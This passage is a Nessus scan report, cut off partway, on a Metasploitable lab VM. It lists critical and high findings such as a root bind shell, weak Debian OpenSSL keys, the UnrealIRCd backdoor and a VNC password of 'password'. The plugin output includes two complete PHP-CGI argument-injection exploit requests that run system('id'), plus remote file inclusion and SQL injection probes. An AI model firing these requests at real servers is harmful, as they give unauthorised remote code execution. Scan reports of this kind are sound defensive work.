



Full Scan

Report generated by Nessus™

Mon, 06 Dec 2021 17:17:19 EST

TABLE OF CONTENTS

Vulnerabilities by Host

- 192.168.1.209.....4
- 192.168.1.210.....359

Vulnerabilities by Host

192.168.1.209

10

CRITICAL

15

HIGH

44

MEDIUM

10

LOW

170

INFO

Scan Information

Start time: Mon Dec 6 15:43:34 2021

End time: Mon Dec 6 17:17:19 2021

Host Information

Netbios Name: METASPLOITABLE

IP: 192.168.1.209

MAC Address: 00:0C:29:3C:B7:D6

OS: Linux Kernel 2.6 on Ubuntu 8.04 (hardy)

Vulnerabilities

51988 - Bind Shell Backdoor Detection

Synopsis

The remote host may have been compromised.

Description

A shell is listening on the remote port without any authentication being required. An attacker may use it by connecting to the remote port and sending commands directly.

Solution

Verify if the remote host has been compromised, and reinstall the system if necessary.

Risk Factor

Critical

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2011/02/15, Modified: 2019/05/10

Plugin Output

tcp/1524/wild_shell

```
Nessus was able to execute the command "id" using the
following request :
```

```
This produced the following truncated output (limited to 10 lines) :
```

```
----- snip -----
```

```
root@metasploitable:/# uid=0(root) gid=0(root) groups=0(root)
```

```
root@metasploitable:/#
```

```
----- snip -----
```

32314 - Debian OpenSSH/OpenSSL Package Random Number Generator Weakness

Synopsis

The remote SSH host keys are weak.

Description

The remote SSH host key has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to set up decipher the remote session or set up a man in the middle attack.

See Also

<http://www.nessus.org/u?107f9bdc>

<http://www.nessus.org/u?f14f4224>

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particular, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/14, Modified: 2018/11/15

Plugin Output

tcp/22/ssh

Synopsis

The remote SSL certificate uses a weak key.

Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

See Also

<http://www.nessus.org/u?107f9bdc>

<http://www.nessus.org/u?f14f4224>

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particular, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/15, Modified: 2020/11/16

Plugin Output

tcp/25/smtp

Synopsis

The remote SSL certificate uses a weak key.

Description

The remote x509 certificate on the remote SSL server has been generated on a Debian or Ubuntu system which contains a bug in the random number generator of its OpenSSL library.

The problem is due to a Debian packager removing nearly all sources of entropy in the remote version of OpenSSL.

An attacker can easily obtain the private part of the remote key and use this to decipher the remote session or set up a man in the middle attack.

See Also

<http://www.nessus.org/u?107f9bdc>

<http://www.nessus.org/u?f14f4224>

Solution

Consider all cryptographic material generated on the remote host to be guessable. In particular, all SSH, SSL and OpenVPN key material should be re-generated.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID	29179
CVE	CVE-2008-0166
XREF	CWE:310

Exploitable With

Core Impact (true)

Plugin Information

Published: 2008/05/15, Modified: 2020/11/16

Plugin Output

tcp/5432/postgresql

Synopsis

It is possible to access NFS shares on the remote host.

Description

At least one of the NFS shares exported by the remote server could be mounted by the scanning host. An attacker may be able to leverage this to read (and possibly write) files on remote host.

Solution

Configure NFS on the remote host so that only authorized hosts can mount its remote shares.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

References

CVE	CVE-1999-0170
CVE	CVE-1999-0211
CVE	CVE-1999-0554

Exploitable With

Metasploit (true)

Plugin Information

Published: 2003/03/12, Modified: 2018/09/17

Plugin Output

udp/2049/rpc-nfs

```
The following NFS shares could be mounted :
```

```
+ /
+ Contents of / :
- .
- ..
- bin
- boot
- cdrom
```

- dev
- etc
- home
- initrd
- initrd.img
- lib
- lost+found
- media
- mnt
- nohup.out
- opt
- proc
- root
- sbin
- srv
- sys
- tmp
- usr
- var
- vmlinuz

33850 - Unix Operating System Unsupported Version Detection

Synopsis

The operating system running on the remote host is no longer supported.

Description

According to its self-reported version number, the Unix operating system running on the remote host is no longer supported.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it is likely to contain security vulnerabilities.

Solution

Upgrade to a version of the Unix operating system that is currently supported.

Risk Factor

Critical

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

References

XREF IAVA:0001-A-0502

XREF IAVA:0001-A-0648

Plugin Information

Published: 2008/08/08, Modified: 2021/09/30

Plugin Output

tcp/0

```
Ubuntu 8.04 support ended on 2011-05-12 (Desktop) / 2013-05-09 (Server).  
Upgrade to Ubuntu 21.04 / LTS 20.04 / LTS 18.04.
```

```
For more information, see : https://wiki.ubuntu.com/Releases
```

Synopsis

The remote IRC server contains a backdoor.

Description

The remote IRC server is a version of UnrealIRCd with a backdoor that allows an attacker to execute arbitrary code on the affected host.

See Also

<https://seclists.org/fulldisclosure/2010/Jun/277>

<https://seclists.org/fulldisclosure/2010/Jun/284>

<http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt>

Solution

Re-download the software, verify it using the published MD5 / SHA1 checksums, and re-install it.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

CVSS v2.0 Temporal Score

8.3 (CVSS2#E:F/RL:OF/RC:C)

References

BID 40820

CVE CVE-2010-2075

Exploitable With

CANVAS (true) Metasploit (true)

Plugin Information

Published: 2010/06/14, Modified: 2018/11/28

Plugin Output

192.168.1.209

tcp/6667/irc

The remote IRC server is running as :

uid=0(root) gid=0(root)

34460 - Unsupported Web Server Detection

Synopsis

The remote web server is obsolete / unsupported.

Description

According to its version, the remote web server is obsolete and no longer maintained by its vendor or provider.

Lack of support implies that no new security patches for the product will be released by the vendor. As a result, it may contain security vulnerabilities.

Solution

Remove the web server if it is no longer needed. Otherwise, upgrade to a supported version if possible or switch to another server.

Risk Factor

High

CVSS v3.0 Base Score

10.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

XREF IAVA:0001-A-0617

Plugin Information

Published: 2008/10/21, Modified: 2021/11/17

Plugin Output

tcp/8180/www

```
Product      : Tomcat
Installed version : 5.5
Support ended   : 2012-09-30
Supported versions : 8.5.x / 9.x / 10.x
Additional information : http://tomcat.apache.org/tomcat-55-eol.html
```

61708 - VNC Server 'password' Password

Synopsis

A VNC server running on the remote host is secured with a weak password.

Description

The VNC server running on the remote host is secured with a weak password. Nessus was able to login using VNC authentication and a password of 'password'. A remote, unauthenticated attacker could exploit this to take control of the system.

Solution

Secure the VNC service with a strong password.

Risk Factor

Critical

CVSS v2.0 Base Score

10.0 (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)

Plugin Information

Published: 2012/08/29, Modified: 2015/09/24

Plugin Output

tcp/5900/vnc

```
Nessus logged in using a password of "password".
```

Synopsis

The remote web server hosts a PHP application that is affected by SQLi vulnerability.

Description

According to its self-reported version number, the phpMyAdmin application hosted on the remote web server is prior to 4.8.6. It is, therefore, affected by a SQL injection (SQLi) vulnerability that exists in designer feature of phpMyAdmin. An unauthenticated, remote attacker can exploit this to inject or manipulate SQL queries in the back-end database, resulting in the disclosure or manipulation of arbitrary data.

Note that Nessus has not attempted to exploit these issues but has instead relied only on the application's self-reported version number.

See Also

<http://www.nessus.org/u?c9d7fc8c>

Solution

Upgrade to phpMyAdmin version 4.8.6 or later.

Alternatively, apply the patches referenced in the vendor advisories.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

References

BID	108617
CVE	CVE-2019-11768

Plugin Information

Published: 2019/06/13, Modified: 2019/10/18

Plugin Output

tcp/80/www

```
URL          : http://192.168.1.209/phpMyAdmin
Installed version : 3.1.1
Fixed version  : 4.8.6
```

70728 - Apache PHP-CGI Remote Code Execution

Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

Solution

Upgrade to PHP 5.3.13 / 5.4.3 or later.

Risk Factor

High

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.4 (CVSS:3.0/E:H/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

6.5 (CVSS2#E:H/RL:OF/RC:C)

References

BID	53388
CVE	CVE-2012-1823
CVE	CVE-2012-2311
CVE	CVE-2012-2335
CVE	CVE-2012-2336
XREF	CERT:520827
XREF	EDB-ID:29290
XREF	EDB-ID:29316

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2013/11/01, Modified: 2021/01/19

Plugin Output

tcp/80/www

Nessus was able to verify the issue exists using the following request :

```
----- snip -----
POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1
Host: 192.168.1.209
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
Content-Length: 115
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
Pragma: no-cache
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
<?php echo "Content-Type:text/html\r\n\r\n"; echo 'php_cgi_remote_code_execution-1638825942';
system('id'); die; ?>
----- snip -----
```

39469 - CGI Generic Remote File Inclusion

Synopsis

Arbitrary code may be run on the remote server.

Description

The remote web server hosts CGI scripts that fail to adequately sanitize request strings. By leveraging this issue, an attacker may be able to include a remote file from a remote server and execute arbitrary commands on the target host.

See Also

https://en.wikipedia.org/wiki/Remote_File_Inclusion

<http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion>

Solution

Restrict access to the vulnerable application. Contact the vendor for a patch or upgrade.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

XREF	CWE:73
XREF	CWE:78
XREF	CWE:98
XREF	CWE:434
XREF	CWE:473
XREF	CWE:632
XREF	CWE:714
XREF	CWE:727
XREF	CWE:801
XREF	CWE:928
XREF	CWE:929

Plugin Information

Published: 2009/06/19, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Using the GET HTTP method, Nessus found that :

+ The following resources may be vulnerable to web code injection :

+ The 'page' parameter of the /mutillidae/ CGI :

/mutillidae/?page=http://b8FjYL8e.example.com/

----- output -----
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
<br />
<b>Warning</b>:  include(http://b8FjYL8e.example.com/) [<a href='function.include'>function.include</a>]: failed to open stream: no suitable wrapper could be found in <b>/var/www/mutillidae/index.php</b> on line <b>469</b><br />
<br />
<b>Warning</b>:  include() [<a href='function.include'>function.in [...]
-----

Clicking directly on these URLs should exhibit the issue :
(you will probably need to read the HTML source)

http://192.168.1.209/mutillidae/?page=http://b8FjYL8e.example.com/
```


42424 - CGI Generic SQL Injection (blind)

Synopsis

A CGI application hosted on the remote web server is potentially prone to SQL injection attack.

Description

By sending specially crafted parameters to one or more CGI scripts hosted on the remote web server, Nessus was able to get a very different response, which suggests that it may have been able to modify the behavior of the application and directly access the underlying database.

An attacker may be able to exploit this issue to bypass authentication, read confidential data, modify the remote database, or even take control of the remote operating system.

Note that this script is experimental and may be prone to false positives.

See Also

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>

<http://www.nessus.org/u?ed792cf5>

<http://projects.webappsec.org/w/page/13246963/SQL%20Injection>

Solution

Modify the affected CGI scripts so that they properly escape arguments.

Risk Factor

High

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

References

XREF	CWE:20
XREF	CWE:77
XREF	CWE:801
XREF	CWE:810
XREF	CWE:89
XREF	CWE:91
XREF	CWE:203
XREF	CWE:643
XREF	CWE:713
XREF	CWE:722

XREF	CWE:727
XREF	CWE:751
XREF	CWE:928
XREF	CWE:929

Plugin Information

Published: 2009/11/06, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Using the POST HTTP method, Nessus found that :

+ The following resources may be vulnerable to blind SQL injection :

+ The 'js_frame' parameter of the /phpMyAdmin/phpmyadmin.css.php CGI :

/phpMyAdmin/phpmyadmin.css.php [token=63ffe2b474d2cd389a5c400655b2a2a6&n
ocache=2457687151&js_frame=rightzz63ffe2b474d2cd389a5c400655b2a2a6&nocac
he=2457687151&js_frame=rightyy]

----- output -----
.syntax_comment {color: #808000;}
.syntax_comment_mysql {}
.syntax_comment_ansi {}
----- vs -----
/*****
*****/
/* general tags */
html {
-----
```

Synopsis

The remote name server is affected by an assertion failure vulnerability.

Description

A denial of service (DoS) vulnerability exists in ISC BIND versions 9.11.18 / 9.11.18-S1 / 9.12.4-P2 / 9.13 / 9.14.11 / 9.15 / 9.16.2 / 9.17 / 9.17.1 and earlier. An unauthenticated, remote attacker can exploit this issue, via a specially-crafted message, to cause the service to stop responding.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

<https://kb.isc.org/docs/cve-2020-8617>

Solution

Upgrade to the patched release most closely related to your current version of BIND.

Risk Factor

High

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

7.8 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:C)

CVSS v2.0 Temporal Score

6.1 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-8617
XREF	IAVA:2020-A-0217-S

Plugin Information

Published: 2020/05/22, Modified: 2020/12/10

Plugin Output

udp/53/dns

```
Installed version : 9.4.2
Fixed version    : 9.11.19
```

Synopsis

The remote name server is affected by Service Downgrade / Reflected DoS vulnerabilities.

Description

According to its self-reported version, the instance of ISC BIND 9 running on the remote name server is affected by performance downgrade and Reflected DoS vulnerabilities. This is due to BIND DNS not sufficiently limiting the number fetches which may be performed while processing a referral response.

An unauthenticated, remote attacker can exploit this to cause degrade the service of the recursive server or to use the affected server as a reflector in a reflection attack.

See Also

<https://kb.isc.org/docs/cve-2020-8616>

Solution

Upgrade to the ISC BIND version referenced in the vendor advisory.

Risk Factor

Medium

CVSS v3.0 Base Score

8.6 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

7.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-8616
XREF	IAVA:2020-A-0217-S

Plugin Information

Published: 2020/05/22, Modified: 2020/06/26

Plugin Output

udp/53/dns

```
Installed version : 9.4.2
Fixed version    : 9.11.19
```

Synopsis

The remote NFS server exports world-readable shares.

Description

The remote NFS server is exporting one or more shares without restricting access (based on hostname, IP, or IP range).

See Also

<http://www.tldp.org/HOWTO/NFS-HOWTO/security.html>

Solution

Place the appropriate restrictions on all NFS shares.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2009/10/26, Modified: 2020/05/05

Plugin Output

tcp/2049/rpc-nfs

```
The following shares have no access restrictions :  
  
/ *
```

Synopsis

The remote web server contains a version of PHP that allows arbitrary code execution.

Description

The PHP installation on the remote web server contains a flaw that could allow a remote attacker to pass command-line arguments as part of a query string to the PHP-CGI program. This could be abused to execute arbitrary code, reveal PHP source code, cause a system crash, etc.

See Also

<http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/>

<http://www.php.net/archive/2012.php#id2012-05-08-1>

<http://www.php.net/ChangeLog-5.php#5.3.13>

<http://www.php.net/ChangeLog-5.php#5.4.3>

<http://www.nessus.org/u?80589ce8>

<https://www-304.ibm.com/support/docview.wss?uid=swg21620314>

Solution

If using Lotus Foundations, upgrade the Lotus Foundations operating system to version 1.2.2b or later.

Otherwise, upgrade to PHP 5.3.13 / 5.4.3 or later.

Risk Factor

High

CVSS v2.0 Base Score

8.3 (CVSS2#AV:N/AC:M/Au:N/C:C/I:P/A:P)

CVSS v2.0 Temporal Score

7.2 (CVSS2#E:H/RL:OF/RC:C)

References

BID	53388
CVE	CVE-2012-1823
CVE	CVE-2012-2311
XREF	CERT:520827
XREF	EDB-ID:18834

Exploitable With

CANVAS (true) Core Impact (true) Metasploit (true)

Plugin Information

Published: 2012/05/14, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Nessus was able to verify the issue exists using the following request :
```

```
----- snip -----  
POST /dvwa/dvwa/includes/DBMS/DBMS.php?-d+allow_url_include%3don+-d+safe_mode%3doff+-d  
+suhosin.simulation%3don+-d+open_basedir%3doff+-d+auto_prepend_file%3dphp%3a//input+-n HTTP/1.1  
Host: 192.168.1.209  
Accept-Charset: iso-8859-1,utf-8;q=0.9,*;q=0.1  
Accept-Language: en  
Content-Type: application/x-www-form-urlencoded  
Connection: Keep-Alive  
Content-Length: 82  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)  
Pragma: no-cache  
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*  
<?php echo 'php_cgi_query_string_code_execution-1638825942'; system('id'); die; ?>  
----- snip -----
```

42873 - SSL Medium Strength Cipher Suites Supported (SWEET32)

Synopsis

The remote service supports the use of medium strength SSL ciphers.

Description

The remote host supports the use of SSL ciphers that offer medium strength encryption. Nessus regards medium strength as any encryption that uses key lengths at least 64 bits and less than 112 bits, or else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength encryption if the attacker is on the same physical network.

See Also

<https://www.openssl.org/blog/blog/2016/08/24/sweet32/>

<https://sweet32.info>

Solution

Reconfigure the affected application if possible to avoid use of medium strength ciphers.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

References

CVE CVE-2016-2183

Plugin Information

Published: 2009/11/23, Modified: 2021/02/03

Plugin Output

tcp/25/smtp

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
DES-CBC3-MD5	0x07, 0x00, 0xC0	RSA	RSA	3DES-CBC(168)	MD5
EDH-RSA-DES-CBC3-SHA	0x00, 0x16	DH	RSA	3DES-CBC(168)	
SHA1					
ADH-DES-CBC3-SHA	0x00, 0x1B	DH	None	3DES-CBC(168)	
SHA1					
DES-CBC3-SHA	0x00, 0x0A	RSA	RSA	3DES-CBC(168)	
SHA1					

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

Synopsis

The remote service supports the use of medium strength SSL ciphers.

Description

The remote host supports the use of SSL ciphers that offer medium strength encryption. Nessus regards medium strength as any encryption that uses key lengths at least 64 bits and less than 112 bits, or else that uses the 3DES encryption suite.

Note that it is considerably easier to circumvent medium strength encryption if the attacker is on the same physical network.

See Also

<https://www.openssl.org/blog/blog/2016/08/24/sweet32/>

<https://sweet32.info>

Solution

Reconfigure the affected application if possible to avoid use of medium strength ciphers.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

References

CVE CVE-2016-2183

Plugin Information

Published: 2009/11/23, Modified: 2021/02/03

Plugin Output

tcp/5432/postgresql

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
EDH-RSA-DES-CBC3-SHA	0x00, 0x16	DH	RSA	3DES-CBC(168)	
SHA1					
DES-CBC3-SHA	0x00, 0x0A	RSA	RSA	3DES-CBC(168)	
SHA1					

The fields above are :

{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}

Synopsis

The remote service encrypts traffic using a protocol with known weaknesses.

Description

The remote service accepts connections encrypted using SSL 2.0 and/or SSL 3.0. These versions of SSL are affected by several cryptographic flaws, including:

- An insecure padding scheme with CBC ciphers.
- Insecure session renegotiation and resumption schemes.

An attacker can exploit these flaws to conduct man-in-the-middle attacks or to decrypt communications between the affected service and clients.

Although SSL/TLS has a secure means for choosing the highest supported version of the protocol (so that these versions will be used only if the client or server support nothing better), many web browsers implement this in an unsafe way that allows an attacker to downgrade a connection (such as in POODLE). Therefore, it is recommended that these protocols be disabled entirely.

NIST has determined that SSL 3.0 is no longer acceptable for secure communications. As of the date of enforcement found in PCI DSS v3.1, any version of SSL will not meet the PCI SSC's definition of 'strong cryptography'.

See Also

<https://www.schneier.com/academic/paperfiles/paper-ssl.pdf>

<http://www.nessus.org/u?b06c7e95>

<http://www.nessus.org/u?247c4540>

<https://www.openssl.org/~bodo/ssl-poodle.pdf>

<http://www.nessus.org/u?5d15ba70>

<https://www.imperialviolet.org/2014/10/14/poodle.html>

<https://tools.ietf.org/html/rfc7507>

<https://tools.ietf.org/html/rfc7568>

Solution

Consult the application's documentation to disable SSL 2.0 and 3.0.

Use TLS 1.2 (with approved cipher suites) or higher instead.

Risk Factor

High

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v2.0 Base Score

7.1 (CVSS2#AV:N/AC:M/Au:N/C:C/I:N/A:N)

Plugin Information

Published: 2005/10/12, Modified: 2020/05/06

Plugin Output

tcp/25/smtp

- SSLv2 is enabled and the server supports at least one cipher.

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
EXP-RC2-CBC-MD5 export		RSA(512)	RSA	RC2-CBC(40)	MD5
EXP-RC4-MD5 export		RSA(512)	RSA	RC4(40)	MD5

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
DES-CBC3-MD5		RSA	RSA	3DES-CBC(168)	MD5

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
RC4-MD5		RSA	RSA	RC4(128)	MD5

The fields above are :

```
{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}
```

- SSLv3 is enabled and the server supports at least one cipher.

Explanation: TLS 1.0 and SSL 3.0 cipher suites may be used with SSLv3

Low Strength Ciphers (<= 64-bit key)

Name	Code	KEX	Auth	Encryption	MAC
-----	-----	---	----	-----	---
EXP-EDH-RSA-DES-CBC-SHA SHA1 export		DH(512)	RSA	DES-CBC(40)	
EDH-RSA-DES-CBC-SHA		DH	RSA	DES-CBC(56)	SHA
[...]					

Synopsis

The remote service encrypts traffic using a protocol with known weaknesses.

Description

The remote service accepts connections encrypted using SSL 2.0 and/or SSL 3.0. These versions of SSL are affected by several cryptographic flaws, including:

- An insecure padding scheme with CBC ciphers.
- Insecure session renegotiation and resumption schemes.

An attacker can exploit these flaws to conduct man-in-the-middle attacks or to decrypt communications between the affected service and clients.

Although SSL/TLS has a secure means for choosing the highest supported version of the protocol (so that these versions will be used only if the client or server support nothing better), many web browsers implement this in an unsafe way that allows an attacker to downgrade a connection (such as in POODLE). Therefore, it is recommended that these protocols be disabled entirely.

NIST has determined that SSL 3.0 is no longer acceptable for secure communications. As of the date of enforcement found in PCI DSS v3.1, any version of SSL will not meet the PCI SSC's definition of 'strong cryptography'.

See Also

<https://www.schneier.com/academic/paperfiles/paper-ssl.pdf>

<http://www.nessus.org/u?b06c7e95>

<http://www.nessus.org/u?247c4540>

<https://www.openssl.org/~bodo/ssl-poodle.pdf>

<http://www.nessus.org/u?5d15ba70>

<https://www.imperialviolet.org/2014/10/14/poodle.html>

<https://tools.ietf.org/html/rfc7507>

<https://tools.ietf.org/html/rfc7568>

Solution

Consult the application's documentation to disable SSL 2.0 and 3.0.

Use TLS 1.2 (with approved cipher suites) or higher instead.

Risk Factor

High

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)

CVSS v2.0 Base Score

7.1 (CVSS2#AV:N/AC:M/Au:N/C:C/I:N/A:N)

Plugin Information

Published: 2005/10/12, Modified: 2020/05/06

Plugin Output

tcp/5432/postgresql

- SSLv3 is enabled and the server supports at least one cipher.
Explanation: TLS 1.0 and SSL 3.0 cipher suites may be used with SSLv3

Medium Strength Ciphers (> 64-bit and < 112-bit key, or 3DES)

Name	Code	KEX	Auth	Encryption	MAC
EDH-RSA-DES-CBC3-SHA		DH	RSA	3DES-CBC(168)	
SHA1					
DES-CBC3-SHA		RSA	RSA	3DES-CBC(168)	
SHA1					

High Strength Ciphers (>= 112-bit key)

Name	Code	KEX	Auth	Encryption	MAC
DHE-RSA-AES128-SHA		DH	RSA	AES-CBC(128)	
SHA1					
DHE-RSA-AES256-SHA		DH	RSA	AES-CBC(256)	
SHA1					
AES128-SHA		RSA	RSA	AES-CBC(128)	
SHA1					
AES256-SHA		RSA	RSA	AES-CBC(256)	
SHA1					
RC4-SHA		RSA	RSA	RC4(128)	
SHA1					

The fields above are :

{Tenable ciphername}
{Cipher ID code}
Kex={key exchange}
Auth={authentication}
Encrypt={symmetric encryption method}
MAC={message authentication code}
{export flag}

Synopsis

An SMB server running on the remote host is affected by the Badlock vulnerability.

Description

The version of Samba, a CIFS/SMB server for Linux and Unix, running on the remote host is affected by a flaw, known as Badlock, that exists in the Security Account Manager (SAM) and Local Security Authority (Domain Policy) (LSAD) protocols due to improper authentication level negotiation over Remote Procedure Call (RPC) channels. A man-in-the-middle attacker who is able to intercept the traffic between a client and a server hosting a SAM database can exploit this flaw to force a downgrade of the authentication level, which allows the execution of arbitrary Samba network calls in the context of the intercepted user, such as viewing or modifying sensitive security data in the Active Directory (AD) database or disabling critical services.

See Also

<http://badlock.org>

<https://www.samba.org/samba/security/CVE-2016-2118.html>

Solution

Upgrade to Samba version 4.2.11 / 4.3.8 / 4.4.2 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

